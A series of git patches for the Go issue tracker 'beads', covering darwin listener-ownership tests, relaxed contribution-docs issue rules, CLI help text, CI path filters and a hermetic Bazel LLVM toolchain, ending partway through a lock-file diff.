owned, known := listenerOwnership(1<<30, port); owned || !known { + t.Errorf("listenerOwnership(no such pid) = (%v, %v), want (false, true)", owned, known) + } + + // A child that holds its own listener: nc -l on a fresh port, under a + // shell that does not exec it, so the listener is a grandchild. + ncPort := freeLoopbackPort(t) + cmd := exec.Command("sh", "-c", "nc -l 127.0.0.1 "+strconv.Itoa(ncPort)+"; exit 0") + if err := cmd.Start(); err != nil { + t.Skipf("cannot start nc under sh: %v", err) + } + t.Cleanup(func() { _ = cmd.Process.Kill(); _ = cmd.Wait() }) + deadline := time.Now().Add(5 * time.Second) + for { + pids, err := listeningPIDs(ncPort) + if err == nil && len(pids) > 0 { + break + } + if time.Now().After(deadline) { + t.Skip("nc never listened within 5s") + } + time.Sleep(50 * time.Millisecond) + } + if owned, known := listenerOwnership(cmd.Process.Pid, ncPort); !owned || !known { + t.Errorf("listenerOwnership(sh child, grandchild nc listener) = (%v, %v), want (true, true)", owned, known) + } + if owned, known := listenerOwnership(os.Getpid(), ncPort); !owned || !known { + t.Errorf("listenerOwnership(self, descendant nc listener) = (%v, %v), want (true, true)", owned, known) + } + // The child does not own its parent's listener: the tree is walked up + // from the holder, never down from the pid being asked about. + if owned, known := listenerOwnership(cmd.Process.Pid, port); owned || !known { + t.Errorf("listenerOwnership(sh child, parent's listener) = (%v, %v), want (false, true)", owned, known) + } +} diff --git a/internal/doltserver/listenerowner_other.go b/internal/doltserver/listenerowner_other.go index 5194e01b0..a6723185d 100644 --- a/internal/doltserver/listenerowner_other.go +++ b/internal/doltserver/listenerowner_other.go @@ -1,4 +1,4 @@ -//go:build !linux +//go:build !linux && !darwin package doltserver diff --git a/internal/doltserver/startowned.go b/internal/doltserver/startowned.go index ff4454892..92daa5b5b 100644 --- a/internal/doltserver/startowned.go +++ b/internal/doltserver/startowned.go @@ -142,8 +142,8 @@ const ( // own startup, which under load takes longer than any fixed grace period, so // a greeting only counts once the listener is shown to be the child's: by // dolt's ready line in the child's output when its log level emits one, or -// else by the listening socket belonging to the child's process tree (Linux, -// via /proc). When the socket is shown to belong to someone else the wait +// else by the listening socket belonging to the child's process tree (Linux +// via /proc, darwin via lsof and ps). When the socket is shown to belong to someone else the wait // ends at once with ErrPortInUse. Where neither proof is available the // greeting decides, as before, unless the log level promises a ready line. // Either way a child that exits, or says its port is taken, ends the wait, diff --git a/internal/doltserver/startowned_test.go b/internal/doltserver/startowned_test.go index f672b940e..9626ecbcd 100644 --- a/internal/doltserver/startowned_test.go +++ b/internal/doltserver/startowned_test.go @@ -110,8 +110,8 @@ func TestAwaitOwnedListener_ForeignListenerIsNotReady(t *testing.T) { {name: "ownership says foreign", owner: func(int, int) (bool, bool) { return false, true }}, } { t.Run(tc.name, func(t *testing.T) { - if tc.owner == nil && runtime.GOOS != "linux" { - t.Skip("listener ownership is only provable on linux") + if tc.owner == nil && runtime.GOOS != "linux" && runtime.GOOS != "darwin" { + t.Skip("listener ownership is only provable on linux and darwin") } port := foreignGreeter(t) logPath := filepath.Join(t.TempDir(), "dolt-server.log") @@ -166,7 +166,7 @@ func TestAwaitOwnedListener_OwnListenerIsReady(t *testing.T) { }); err != nil { t.Fatalf("awaitOwnedListener on the child's own listener: %v", err) } - if runtime.GOOS == "linux" { + if runtime.GOOS == "linux" || runtime.GOOS == "darwin" { if owned, known := listenerOwnership(srv.pid, port); !owned || !known { t.Errorf("listenerOwnership(child) = (%v, %v), want (true, true)", owned, known) } @@ -206,8 +206,8 @@ func TestAwaitOwnedListener_ChildExitIsReported(t *testing.T) { // child's startup (which under load can outlast the ready timeout and turn a // movable port into a hard failure); it returns ErrPortInUse straight away. func TestAwaitOwnedListener_ProvenForeignEndsWaitAtOnce(t *testing.T) { - if runtime.GOOS != "linux" { - t.Skip("listener ownership is only provable on linux") + if runtime.GOOS != "linux" && runtime.GOOS != "darwin" { + t.Skip("listener ownership is only provable on linux and darwin") } port := foreignGreeter(t) logPath := filepath.Join(t.TempDir(), "dolt-server.log") @@ -378,15 +378,15 @@ func TestStart_RecoversWhenEphemeralPortIsTaken(t *testing.T) { if got := calls.Load(); got != 2 { t.Errorf("allocateEphemeralPort called %d times, want 2 (the taken port, then a fresh one)", got) } - // On Linux the first child can be killed before it records its launch: - // /proc proves the port foreign as soon as the greeting arrives. + // On Linux and darwin the first child can be killed before it records its launch: + // the process tree proves the port foreign as soon as the greeting arrives. if got := launchedPorts(t, launches); len(got) == 0 || got[len(got)-1] != fmt.Sprint(state.Port) { t.Errorf("launches = %v, want the last one on the final port %d", got, state.Port) } if got := readPortFile(beadsDir); got != state.Port { t.Errorf("port file = %d, want %d", got, state.Port) } - if runtime.GOOS == "linux" { + if runtime.GOOS == "linux" || runtime.GOOS == "darwin" { if owned, known := listenerOwnership(state.PID, state.Port); !owned || !known { t.Errorf("listener on %d is not owned by the started server (PID %d)", state.Port, state.PID) } From 55f96b3f5eb73c5a9fc0145b4d07e34ffd470e25 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 6 Oct 2026 23:29:09 +0000 Subject: [PATCH 019/213] docs(contributing): recommend issues when they add context instead of requiring one per PR (#7323) #7223 made a linked, documented issue mandatory for every PR. That is the right default for user-visible bugs and changes worth discussing, but it adds ceremony to small, self-explanatory fixes without adding context. AGENTS.md, CONTRIBUTING.md, ROADMAP.md, the PR template and the feature form now advise filing an issue when it adds context and let small fixes go straight to a PR whose description explains the why. End-to-end evidence is still required, and Closes #N is used when an issue exists. No CI check or ruleset enforced the requirement; scripts/pr-preflight.sh already only warns when a PR has no closing issue. Co-authored-by: Claude Opus 5.5 (1M context) --- .github/ISSUE_TEMPLATE/feature_request.yml | 2 +- .github/PULL_REQUEST_TEMPLATE.md | 7 +++--- AGENTS.md | 27 ++++++++++++---------- CONTRIBUTING.md | 17 ++++++++------ ROADMAP.md | 10 ++++---- 5 files changed, 36 insertions(+), 27 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml index b850c6595..5ab476fe9 100644 --- a/.github/ISSUE_TEMPLATE/feature_request.yml +++ b/.github/ISSUE_TEMPLATE/feature_request.yml @@ -5,7 +5,7 @@ body: - type: markdown attributes: value: | - Every PR links a documented issue, and this form collects the context reviewers and future readers need. You can open your PR right after filing; no approval is needed first. Read the [project charter](https://github.com/gastownhall/beads/blob/main/engdocs/PROJECT_CHARTER.md) first — beads owns issue-tracking primitives, not orchestration policy or storage-engine behavior. + This form collects the context reviewers and future readers need for a change worth discussing. You can open your PR right after filing; no approval is needed first. Small, self-explanatory changes can skip the issue and go straight to a PR. Read the [project charter](https://github.com/gastownhall/beads/blob/main/engdocs/PROJECT_CHARTER.md) first — beads owns issue-tracking primitives, not orchestration policy or storage-engine behavior. **Agents filling in this form:** answer each question only from evidence you have. If you cannot answer a question from the evidence, write exactly `NOT_ENOUGH_INFO` instead of guessing. diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index a689ae380..0631bd36c 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -1,6 +1,7 @@ @@ -17,7 +18,7 @@ Closes # ## Checklist -- [ ] The linked issue documents the problem (reproduction or motivation, impact, risk). +- [ ] The why is documented: in a linked issue (reproduction or motivation, impact, risk) or in this description. - [ ] Tests and lint selected per `engdocs/TESTING.md` pass locally. - [ ] User-facing behavior changes are reflected in `docs/` or the generated CLI reference. - [ ] If an invariant or rule changed, the owning `AGENTS.md` is updated. diff --git a/AGENTS.md b/AGENTS.md index a0cec3a42..5a0eabfff 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -13,15 +13,19 @@ end lists them. `CLAUDE.md` files are symlinks to their sibling `AGENTS.md`. ## How work flows here -GitHub Issues is the public tracker, and every PR links a documented issue. -The issue carries the context reviewers and future readers need: for a bug, -the reproduction, impact, and evidence; for a change, the motivation, impact, -risk, and verification plan. +GitHub Issues is the public tracker. Use an issue when it adds context +reviewers need: a user-visible bug, a behavior or design change worth +discussing, or work that spans several PRs. The issue carries the +reproduction, impact, and evidence for a bug, or the motivation, impact, risk, +and verification plan for a change. Small, self-explanatory changes (typos, +flaky tests, refactors, CI or docs tweaks) can go straight to a PR whose body +explains the why. -1. Find or file the issue with the bug or feature form. It does not need - maintainer approval first; file it before or alongside the PR. -2. Work on a branch, open a PR against `main` whose body says - `Closes #`, and let CI and review run. +1. If the change warrants an issue, find or file one with the bug or feature + form. It does not need maintainer approval first; file it before or + alongside the PR. +2. Work on a branch, open a PR against `main` (its body says + `Closes #` when there is one), and let CI and review run. 3. Maintainers triage issues with `status/needs-triage`, `status/needs-info`, `status/needs-repro`, `status/needs-design`, and `status/accepted` (confirmed); see [CONTRIBUTING.md](CONTRIBUTING.md). @@ -31,10 +35,9 @@ and not a substitute for the GitHub issue. ## Agent contribution policy -- Every PR closes a documented issue. If none exists for your change, file - one with the bug or feature form fields, filling each from evidence and - answering `NOT_ENOUGH_INFO` where the evidence runs out, then link it from - the PR. +- File an issue when the change warrants one (see above). When you do, use + the bug or feature form fields, fill each from evidence, and answer + `NOT_ENOUGH_INFO` where the evidence runs out. - A human reviews and stands behind every issue and PR an agent drafts. Evidence that the change works end-to-end is required; "unit tests pass" alone is not evidence. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 24d3e573f..3fa5b2b03 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -4,11 +4,14 @@ Thank you for your interest in contributing to bd! This document provides guidel ## Issues and pull requests -GitHub Issues is the public tracker, and every pull request links a -documented issue. The issue is where the context lives: why the change is -needed, what it affects, and how we will know it works. File it with the bug -or feature form before or alongside your pull request; it does not need -maintainer approval first. +GitHub Issues is the public tracker. Use an issue when it adds context +reviewers need: a user-visible bug, a behavior or design change worth +discussing first, or work that spans several pull requests. The issue holds +why the change is needed, what it affects, and how we will know it works; file +it with the bug or feature form before or alongside your pull request, and it +does not need maintainer approval first. Small, self-explanatory changes +(typos, flaky tests, refactors, CI or docs tweaks) can go straight to a pull +request whose description explains the why. ### Triage labels @@ -140,14 +143,14 @@ engine, or expand the database schema when issue metadata is sufficient. ### Workflow -1. Find or file a documented issue (see [Issues and pull requests](#issues-and-pull-requests)) +1. If the change warrants one, find or file an issue (see [Issues and pull requests](#issues-and-pull-requests)) 2. Fork the repository and create a feature branch (`git checkout -b feature/my-feature`) 3. Make your changes 4. Add tests for new functionality 5. Run tests and linter locally 6. Commit your changes with clear messages 7. Push to your fork -8. Open a pull request whose description says `Closes #` +8. Open a pull request that explains the change and says `Closes #` when there is one ### Commit Messages diff --git a/ROADMAP.md b/ROADMAP.md index 214306136..006b5602e 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -10,9 +10,10 @@ and the live state of each item is its tracking issue on GitHub. - **Priority areas get expedited review.** Issues and PRs that advance a priority area below are triaged and reviewed first. -- **Every PR links a documented issue.** To propose work — inside or - outside a priority area — open an issue with the feature form, before or - alongside your PR; see +- **Propose work with an issue when it warrants discussion.** For work + inside or outside a priority area that needs context or a design decision, + open an issue with the feature form, before or alongside your PR; small, + self-explanatory changes can go straight to a PR. See [CONTRIBUTING.md](CONTRIBUTING.md#issues-and-pull-requests). - **Scope.** Proposals must fit the product boundary in [engdocs/PROJECT_CHARTER.md](engdocs/PROJECT_CHARTER.md). @@ -59,7 +60,8 @@ and the live state of each item is its tracking issue on GitHub. - **Goal:** a new contributor, human or agent, finds the rules for the code they are changing next to that code, understands its intent and - invariants, and lands a change with a documented issue and PR. + invariants, and lands a well-explained PR, backed by an issue when the + change warrants one. - **This period:** contributor-only agent instructions and documented-issue intake ([#7223](https://github.com/gastownhall/beads/pull/7223)); per-package `AGENTS.md` files for the storage packages, naming their From 01eb7b83b5b10fa43436b6b310991ebff08f98ca Mon Sep 17 00:00:00 2001 From: Bee Date: Wed, 7 Oct 2026 00:39:07 +0000 Subject: [PATCH 020/213] docs(show): say that --json omits comments entirely without --include-comments (#7132) bd show --json returns comment_count and comments_omitted=true and no comments key. The --include-comments help only said it streams full bodies, which reads as "the default is truncated". A scan that reads .comments over plain --json sees nothing for every issue and reports each one clean, with no error: one audit over 38 issues reported 0 adverse verdicts where the same scan with --include-comments found 4. Say it in the flag help, as bd list --include-comments already does. Help text only; the JSON contract pinned in cmd/bd/protocol is unchanged, and the generated CLI docs stay on the v1.2.2 pin. Co-authored-by: Claude Fable 5.1 --- cmd/bd/show.go | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/cmd/bd/show.go b/cmd/bd/show.go index 37930588a..09079463f 100644 --- a/cmd/bd/show.go +++ b/cmd/bd/show.go @@ -321,7 +321,9 @@ func init() { showCmd.Flags().BoolP("watch", "w", false, "Watch for changes and auto-refresh display") showCmd.Flags().Bool("current", false, "Show the currently active issue (in-progress, hooked, or last touched)") showCmd.Flags().Bool("include-dependents", false, "Stream full dependent issues in JSON output (--json only; may be slow on hub beads)") - showCmd.Flags().Bool("include-comments", false, "Stream full comment bodies in JSON output (--json only; may be slow on issues with many comments)") + showCmd.Flags().Bool("include-comments", false, "Stream full comment bodies in JSON output (--json only; may be slow on issues with many comments). "+ + "Without it the comments field is absent entirely, not truncated: an issue with comments carries "+ + "comment_count and comments_omitted=true, so check those before reading an absent comments field as none.") showCmd.Flags().Bool("brief-deps", false, "Reduce each dependency to its identity fields in JSON output (--json only; drops description, design, notes and acceptance criteria)") showCmd.ValidArgsFunction = issueIDCompletion rootCmd.AddCommand(showCmd) From bc34f1d77ca09ce47db7850e560f1c7149a2c267 Mon Sep 17 00:00:00 2001 From: Bee Date: Wed, 7 Oct 2026 00:40:04 +0000 Subject: [PATCH 021/213] ci: upgrade workflows also run on schema-migration changes (#7150) #7147 gave migration-test, conformance and cross-version-smoke a shared paths filter: non-test Go files plus build inputs. The schema migrations are .up.sql files embedded into the binary (go:embed in internal/storage/schema), so they match no entry. A PR that adds a migration with only a _test.go beside it skipped all three workflows, where before #7147 it ran all three. d26230d0d and 63a471a1e have that shape. Add internal/storage/schema/migrations/** to the shared base in each paths block and in advisoryPathFilterBase, which pins the base across the three files. Co-authored-by: Claude Fable 5.1 --- .github/workflows/cross-version-smoke.yml | 3 +++ .github/workflows/migration-test.yml | 3 +++ scripts/ci_f7c_advisory_test.go | 9 +++++++-- 3 files changed, 13 insertions(+), 2 deletions(-) diff --git a/.github/workflows/cross-version-smoke.yml b/.github/workflows/cross-version-smoke.yml index 21076f00c..938410be8 100644 --- a/.github/workflows/cross-version-smoke.yml +++ b/.github/workflows/cross-version-smoke.yml @@ -22,6 +22,9 @@ on: - 'go.sum' - 'Makefile' - '.buildflags' + # Embedded into the binary (go:embed in internal/storage/schema), so a + # migration-only change is an upgrade-relevant code change. + - 'internal/storage/schema/migrations/**' - '.github/workflows/cross-version-smoke.yml' - 'scripts/upgrade-smoke-test.sh' diff --git a/.github/workflows/migration-test.yml b/.github/workflows/migration-test.yml index f35d686bf..f8dd091f1 100644 --- a/.github/workflows/migration-test.yml +++ b/.github/workflows/migration-test.yml @@ -13,6 +13,9 @@ on: - 'go.sum' - 'Makefile' - '.buildflags' + # Embedded into the binary (go:embed in internal/storage/schema), so a + # migration-only change is an upgrade-relevant code change. + - 'internal/storage/schema/migrations/**' - '.github/workflows/migration-test.yml' - 'scripts/migration-test/**' - 'scripts/migrate-legacy-to-current.sh' diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 52286f66d..668756030 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -38,8 +38,9 @@ var advisoryPathFilteredWorkflows = []string{ } // advisoryPathFilterBase is the shared prefix of the allowlist: any non-test -// Go change or build input. It must appear, in this order, at the start of -// each of advisoryPathFilteredWorkflows' pull_request.paths list. +// Go change, build input, or embedded schema migration. It must appear, in +// this order, at the start of each of advisoryPathFilteredWorkflows' +// pull_request.paths list. var advisoryPathFilterBase = []string{ "**.go", "!**_test.go", @@ -47,6 +48,10 @@ var advisoryPathFilterBase = []string{ "go.sum", "Makefile", ".buildflags", + // The .up.sql files are go:embed'd by internal/storage/schema, so they + // change upgrade behavior without matching "**.go"; a migration that + // ships with only a _test.go beside it would otherwise skip all three. + "internal/storage/schema/migrations/**", } // advisoryPathFilterOwnEntries is each workflow's own file/script additions, From cb0dcbecf22df69c2560862035e0ddbfd9a58687 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 00:59:11 +0000 Subject: [PATCH 022/213] ci(bazel): hermetic LLVM C toolchain and pinned rbe_worker exec platform (#7325) beads' MODULE.bazel registered no C toolchain, so -race and cgo builds used the autodetected local_config_cc of the machine that ran analysis. From a client with lld installed (cherry) every remote cgo/-race link failed with "collect2: fatal error: cannot find 'ld'" (the workers have no lld), and the host gcc path, lld availability and gcc-version inputs keyed every Go action to the client machine. Port gastownhall/gascity's design: - toolchains_llvm 1.11.0 with a pinned LLVM 22.1.8 slice (third_party/cc_toolchain/llvm_dist.bzl) and a sysroot of sha256-pinned Ubuntu 24.04 debs (deb_sysroot.bzl), without ICU (ICU policy); stock toolchains_llvm LLVM on other hosts. - .bazelrc: BAZEL_DO_NOT_DETECT_CPP_TOOLCHAIN=1 so nothing falls back to the host compiler. - //platforms:rbe_worker, selected unconditionally, whose worker-env exec property is the sha256 of tools/rbe/worker-env.txt (a copy of the shared rbe-west OSS pool's manifest, owned by gascity), so the worker host is in every action key. - scripts/bazel_hermetic_cc_test.go and scripts/rbe_worker_env_test.go guard both. Refs: ga-96smfk.20 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 12 + BUILD.bazel | 2 + MODULE.bazel | 143 ++++++++++++ MODULE.bazel.lock | 44 ++++ platforms/BUILD.bazel | 49 ++++ scripts/BUILD.bazel | 2 + scripts/bazel_hermetic_cc_test.go | 273 +++++++++++++++++++++++ scripts/rbe_worker_env_test.go | 119 ++++++++++ third_party/cc_toolchain/BUILD.bazel | 25 +++ third_party/cc_toolchain/deb_sysroot.bzl | 80 +++++++ third_party/cc_toolchain/llvm_dist.bzl | 54 +++++ tools/rbe/worker-env.txt | 38 ++++ 12 files changed, 841 insertions(+) create mode 100644 platforms/BUILD.bazel create mode 100644 scripts/bazel_hermetic_cc_test.go create mode 100644 scripts/rbe_worker_env_test.go create mode 100644 third_party/cc_toolchain/BUILD.bazel create mode 100644 third_party/cc_toolchain/deb_sysroot.bzl create mode 100644 third_party/cc_toolchain/llvm_dist.bzl create mode 100644 tools/rbe/worker-env.txt diff --git a/.bazelrc b/.bazelrc index 34695267f..cc0c1affb 100644 --- a/.bazelrc +++ b/.bazelrc @@ -3,6 +3,18 @@ # .bazelversion. common --enable_bzlmod common --color=no +# C/C++ (and so cgo, -race and the Go stdlib) builds only with MODULE.bazel's +# pinned LLVM toolchain: no host-detected local_config_cc to fall back to, +# which would key actions to the client's gcc and lld and fail remote links +# on workers without lld (scripts/bazel_hermetic_cc_test.go). +common --repo_env=BAZEL_DO_NOT_DETECT_CPP_TOOLCHAIN=1 + +# The pinned remote-worker host in every action key: //platforms:rbe_worker's +# worker-env exec property is the sha256 of tools/rbe/worker-env.txt, and +# rbe-west's schedulers run an action only on a worker that measured that +# host (platforms/BUILD.bazel). Key-affecting, so unconditional: local, +# fork-cache and remote runs hash alike. +build --extra_execution_platforms=//platforms:rbe_worker # ICU policy (engdocs/ICU-POLICY.md): build go-mysql-server with its pure-Go # regex backend so no target links libicu. MODULE.bazel carries the matching diff --git a/BUILD.bazel b/BUILD.bazel index ee65c07ea..dd3c4b4a1 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -349,6 +349,7 @@ filegroup( "//issueops:repo_files", "//journalops:repo_files", "//memoryops:repo_files", + "//platforms:repo_files", "//plugins/beads:repo_files", "//schema:repo_files", "//scripts:repo_files", @@ -366,6 +367,7 @@ filegroup( "//test/conformance:repo_files", "//test/docsync:repo_files", "//test/testmainconvention:repo_files", + "//third_party/cc_toolchain:repo_files", "//third_party/patches:repo_files", "//tools/bazel:repo_files", "//tools/docsmint:repo_files", diff --git a/MODULE.bazel b/MODULE.bazel index 91f6a2f42..186368330 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -7,6 +7,149 @@ bazel_dep(name = "platforms", version = "1.1.0") bazel_dep(name = "rules_go", version = "0.63.0") bazel_dep(name = "gazelle", version = "0.53.0") bazel_dep(name = "rules_shell", version = "0.6.1") +bazel_dep(name = "toolchains_llvm", version = "1.11.0") + +# Loaded by @llvm_dist_linux_x86_64's BUILD file (toolchains_llvm's template). +bazel_dep(name = "rules_cc", version = "0.2.17") + +# Hermetic C/C++ toolchain, ported from gastownhall/gascity. rules_go builds +# the Go stdlib under -race and every cgo package (mattn/go-sqlite3, gozstd, +# ...) with the registered C toolchain, and every Go compile depends on the +# stdlib, so a host-detected toolchain (local_config_cc: CC=/usr/bin/gcc, +# -fuse-ld=lld only where the CLIENT has lld, gcc-version-specific generated +# inputs) keys those actions to the machine that ran the analysis and fails +# remotely on workers without lld. Instead: LLVM pinned by sha256, plus a +# sysroot of pinned Ubuntu 24.04 packages (the RBE workers' release, so +# binaries load the same glibc and libstdc++ there), byte-identical on every +# Linux x86_64 host. No ICU: beads builds go-mysql-server with its pure-Go +# regex backend (engdocs/ICU-POLICY.md), so nothing may link libicu. .bazelrc +# turns host detection off so nothing falls back to the host compiler; +# scripts/bazel_hermetic_cc_test.go guards both. +deb_sysroot = use_repo_rule("//third_party/cc_toolchain:deb_sysroot.bzl", "deb_sysroot") + +deb_sysroot( + name = "cc_sysroot_noble_amd64", + mirrors = [ + "https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/", + "https://archive.ubuntu.com/ubuntu/", + ], + packages = { + "pool/main/g/gcc-13/libgcc-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb": "cd689db2691edaa10f37329307292796bb599e722e0505c79e14caaa1fe9a93a", + "pool/main/g/gcc-13/libstdc++-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb": "ee5633e863e19c3381ed97842ce35ed32ede96a3d1ae4e94c051d3036fe21347", + "pool/main/g/gcc-14/libgcc-s1_14.2.0-4ubuntu2~24.04.1_amd64.deb": "aa7fadbe33b78bcf99885318040601c550c208929565b179891d9a3cc2aa68cd", + "pool/main/g/gcc-14/libstdc++6_14.2.0-4ubuntu2~24.04.1_amd64.deb": "a51f8de7829211db961a31f02158058ad1a95f92ac6d0a5dff6350e2821c54c0", + "pool/main/g/glibc/libc6-dev_2.39-0ubuntu8.9_amd64.deb": "e13d5fcc1b2a86f75bca8e0026a8e39f24fe97ca86e92be79991f8697eb1306f", + "pool/main/g/glibc/libc6_2.39-0ubuntu8.9_amd64.deb": "ff5557d99b51f761c4b7c92368b9cc45565eda17df9bf9eb4b134d09825008be", + "pool/main/l/linux/linux-libc-dev_6.8.0-146.146_amd64.deb": "1a7bb04132d01cd14bea3d615e5861096ca1f70c4659902eb14b36c21993cadc", + }, + remove = [ + "etc", + "usr/bin", + "usr/sbin", + "usr/share", + "usr/lib/x86_64-linux-gnu/gconv", + "usr/lib/gcc/x86_64-linux-gnu/13/crtoffload*", + "usr/lib/gcc/x86_64-linux-gnu/13/lib*san*", + "usr/lib/gcc/x86_64-linux-gnu/13/libatomic*", + "usr/lib/gcc/x86_64-linux-gnu/13/libbacktrace*", + "usr/lib/gcc/x86_64-linux-gnu/13/libgcov*", + "usr/lib/gcc/x86_64-linux-gnu/13/libgomp*", + "usr/lib/gcc/x86_64-linux-gnu/13/libitm*", + "usr/lib/gcc/x86_64-linux-gnu/13/libquadmath*", + "usr/lib/gcc/x86_64-linux-gnu/13/libstdc++*.a", + ], +) + +LLVM_VERSION = "22.1.8" + +llvm_dist = use_repo_rule("//third_party/cc_toolchain:llvm_dist.bzl", "llvm_dist") + +llvm_dist( + name = "llvm_dist_linux_x86_64", + llvm_version = LLVM_VERSION, + members = [ + "bin/clang", + "bin/clang++", + "bin/clang-22", + "bin/clang-cpp", + "bin/ld.lld", + "bin/ld64.lld", + "bin/lld", + "bin/llvm-ar", + "bin/llvm-as", + "bin/llvm-cov", + "bin/llvm-install-name-tool", + "bin/llvm-nm", + "bin/llvm-objcopy", + "bin/llvm-objdump", + "bin/llvm-profdata", + "bin/llvm-ranlib", + "bin/llvm-readelf", + "bin/llvm-readobj", + "bin/llvm-strip", + "bin/llvm-symbolizer", + "bin/wasm-ld", + "include/c++", + "include/x86_64-unknown-linux-gnu", + "lib/clang/22/include", + "lib/clang/22/lib/x86_64-unknown-linux-gnu/clang_rt.crtbegin.o", + "lib/clang/22/lib/x86_64-unknown-linux-gnu/clang_rt.crtend.o", + "lib/clang/22/lib/x86_64-unknown-linux-gnu/libclang_rt.builtins.a", + # `bazel coverage` links cgo binaries with -fprofile-instr-generate, + # which pulls in compiler-rt's profile runtime (~170KB). + "lib/clang/22/lib/x86_64-unknown-linux-gnu/libclang_rt.profile.a", + ], + sha256 = "df0e1ecf16caf3489a272a5eea4eec9b0d82878f6477fa309504f918a0006384", + strip_prefix = "LLVM-22.1.8-Linux-X64", + stub_tools = [ + "clang-format", + "clang-tidy", + "clangd", + "llvm-dwp", + ], + urls = ["https://github.com/llvm/llvm-project/releases/download/llvmorg-22.1.8/LLVM-22.1.8-Linux-X64.tar.xz"], +) + +# Every other host (macOS arm64, Linux arm64) runs toolchains_llvm's stock +# LLVM_VERSION release for its platform, pinned by sha256 in toolchains_llvm's +# distribution table and fetched only there. Once any toolchain_root is set, +# toolchains_llvm creates no stock distribution of its own and fails every +# build on a host no root covers. Not hermetic there: no sysroot, so cgo +# uses the host's headers and libraries, as before. +llvm_host_dist = use_repo_rule("@toolchains_llvm//toolchain:rules.bzl", "llvm") + +llvm_host_dist( + name = "llvm_dist_host", + llvm_version = LLVM_VERSION, + # The bare rule reads the per-host dict; llvm_toolchain's macro would + # fill it in from llvm_version. + llvm_versions = {"": LLVM_VERSION}, +) + +llvm = use_extension("@toolchains_llvm//toolchain/extensions:llvm.bzl", "llvm") +llvm.toolchain( + name = "llvm_toolchain", + llvm_version = LLVM_VERSION, + # The sysroot's libstdc++, linked dynamically as host-gcc builds did. + stdlib = {"linux-x86_64": "dynamic-stdc++"}, +) +llvm.toolchain_root( + name = "llvm_toolchain", + label = "@llvm_dist_linux_x86_64//:BUILD.bazel", + targets = ["linux-x86_64"], +) +llvm.toolchain_root( + name = "llvm_toolchain", + label = "@llvm_dist_host//:BUILD.bazel", +) +llvm.sysroot( + name = "llvm_toolchain", + label = "@cc_sysroot_noble_amd64//:sysroot", + targets = ["linux-x86_64"], +) +use_repo(llvm, "llvm_toolchain") + +register_toolchains("@llvm_toolchain//:all") go_sdk = use_extension("@rules_go//go:extensions.bzl", "go_sdk") go_sdk.download( diff --git a/MODULE.bazel.lock b/MODULE.bazel.lock index d4d434b48..4e781c838 100644 --- a/MODULE.bazel.lock +++ b/MODULE.bazel.lock @@ -20,6 +20,10 @@ "https://bcr.bazel.build/modules/apple_support/1.21.1/MODULE.bazel": "5809fa3efab15d1f3c3c635af6974044bac8a4919c62238cce06acee8a8c11f1", "https://bcr.bazel.build/modules/apple_support/1.24.2/MODULE.bazel": "0e62471818affb9f0b26f128831d5c40b074d32e6dda5a0d3852847215a41ca4", "https://bcr.bazel.build/modules/apple_support/1.24.2/source.json": "2c22c9827093250406c5568da6c54e6fdf0ef06238def3d99c71b12feb057a8d", + "https://bcr.bazel.build/modules/aspect_bazel_lib/2.14.0/MODULE.bazel": "2b31ffcc9bdc8295b2167e07a757dbbc9ac8906e7028e5170a3708cecaac119f", + "https://bcr.bazel.build/modules/aspect_bazel_lib/2.19.3/MODULE.bazel": "253d739ba126f62a5767d832765b12b59e9f8d2bc88cc1572f4a73e46eb298ca", + "https://bcr.bazel.build/modules/aspect_bazel_lib/2.19.3/source.json": "ffab9254c65ba945f8369297ad97ca0dec213d3adc6e07877e23a48624a8b456", + "https://bcr.bazel.build/modules/aspect_bazel_lib/2.8.1/MODULE.bazel": "812d2dd42f65dca362152101fbec418029cc8fd34cbad1a2fde905383d705838", "https://bcr.bazel.build/modules/bazel_features/1.1.0/MODULE.bazel": "cfd42ff3b815a5f39554d97182657f8c4b9719568eb7fded2b9135f084bf760b", "https://bcr.bazel.build/modules/bazel_features/1.1.1/MODULE.bazel": "27b8c79ef57efe08efccbd9dd6ef70d61b4798320b8d3c134fd571f78963dbcd", "https://bcr.bazel.build/modules/bazel_features/1.10.0/MODULE.bazel": "f75e8807570484a99be90abcd52b5e1f390362c258bcb73106f4544957a48101", @@ -35,10 +39,13 @@ "https://bcr.bazel.build/modules/bazel_features/1.3.0/MODULE.bazel": "cdcafe83ec318cda34e02948e81d790aab8df7a929cec6f6969f13a489ccecd9", "https://bcr.bazel.build/modules/bazel_features/1.30.0/MODULE.bazel": "a14b62d05969a293b80257e72e597c2da7f717e1e69fa8b339703ed6731bec87", "https://bcr.bazel.build/modules/bazel_features/1.33.0/MODULE.bazel": "8b8dc9d2a4c88609409c3191165bccec0e4cb044cd7a72ccbe826583303459f6", + "https://bcr.bazel.build/modules/bazel_features/1.34.0/MODULE.bazel": "e8475ad7c8965542e0c7aac8af68eb48c4af904be3d614b6aa6274c092c2ea1e", "https://bcr.bazel.build/modules/bazel_features/1.36.0/MODULE.bazel": "596cb62090b039caf1cad1d52a8bc35cf188ca9a4e279a828005e7ee49a1bec3", + "https://bcr.bazel.build/modules/bazel_features/1.38.0/MODULE.bazel": "f9b8a9c890ebd216b4049fd12a31d3c2602e3403c7af636b04fbbd7453edc9c9", "https://bcr.bazel.build/modules/bazel_features/1.4.1/MODULE.bazel": 